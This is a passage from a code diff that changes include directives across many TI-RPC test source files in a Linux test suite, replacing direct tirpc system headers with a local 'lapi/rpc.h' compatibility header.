+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_systemerr/tirpc_svcerr_systemerr.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 10
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_weakauth/tirpc_svcerr_weakauth.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_weakauth/tirpc_svcerr_weakauth.c
index 8b924ab..1d21c3a 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_weakauth/tirpc_svcerr_weakauth.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_err_svcerr_weakauth/tirpc_svcerr_weakauth.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 100
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call.c
index d10e4bc..6436021 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_complex.c
index c5fad5e..fb2dbe0 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_complex.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define CALCTHREADPROC	1000
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_dataint.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_dataint.c
index 0c02e9e..9137324 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_dataint.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_dataint.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define INTPROCNUM 10
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_mt.c
index 13b5ce0..bdce523 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_performance.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_performance.c
index fbd606d..5aa0f92 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_performance.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_performance.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_scalability.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_scalability.c
index e8c4cb2..6c17e70 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_scalability.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_scalability.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <pthread.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_stress.c
index a02d7dc..2fcc647 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_call/tirpc_expertlevel_clnt_call_stress.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_tli_create/tirpc_clnt_tli_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_tli_create/tirpc_clnt_tli_create.c
index dca1830..f068143 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_tli_create/tirpc_clnt_tli_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_tli_create/tirpc_clnt_tli_create.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_tli_create/tirpc_clnt_tli_create_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_tli_create/tirpc_clnt_tli_create_limits.c
index 6f599e5..ee3d4b5 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_tli_create/tirpc_clnt_tli_create_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_clnt_tli_create/tirpc_clnt_tli_create_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall.c
index f084ab3..25638bd 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_complex.c
index 311b1c0..c25cec1 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_complex.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define CALCTHREADPROC	1000
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_dataint.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_dataint.c
index db151b6..a0c5471 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_dataint.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_dataint.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define INTPROCNUM 10
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_mt.c
index 6f5b397..f61a33b 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_performance.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_performance.c
index a57d969..bc7ed17 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_performance.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_performance.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_scalability.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_scalability.c
index 2b5207c..447c716 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_scalability.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_scalability.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <pthread.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_stress.c
index b2cf41c..5381db5 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_rmtcall/tirpc_rpcb_rmtcall_stress.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_set/tirpc_rpcb_set.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_set/tirpc_rpcb_set.c
index e2611b0..de65165 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_set/tirpc_rpcb_set.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_set/tirpc_rpcb_set.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 #define PROCNUM 1
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_unset/tirpc_rpcb_unset.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_unset/tirpc_rpcb_unset.c
index 2cbdb42..ab4ddd5 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_unset/tirpc_rpcb_unset.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_rpcb_unset/tirpc_rpcb_unset.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 #define PROCNUM 1
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg.c
index 622b2f8..7ba2ac1 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg_mt.c
index 657908b..167890c 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg_stress.c
index 7690aed..862387e 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_reg/tirpc_svc_reg_stress.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create.c
index 304e68f..3420717 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create_limits.c
index de60013..d20ffbb 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg.c
index be83185..721e414 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg_mt.c
index 3f5aef5..d812509 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg_stress.c
index 03b7db6..6871c87 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_unreg/tirpc_svc_unreg_stress.c
@@ -27,11 +27,9 @@
 
 #include <stdlib.h>
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/netconfig.h>
 #include <netinet/in.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call.c
index 29d8124..5bb86ed 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_complex.c
index 8f094aa..945557a 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_complex.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define CALCTHREADPROC	1000
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_dataint.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_dataint.c
index 36cbd60..8b9ea2e 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_dataint.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_dataint.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define INTPROCNUM 10
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_mt.c
index dce0823..f960d04 100644
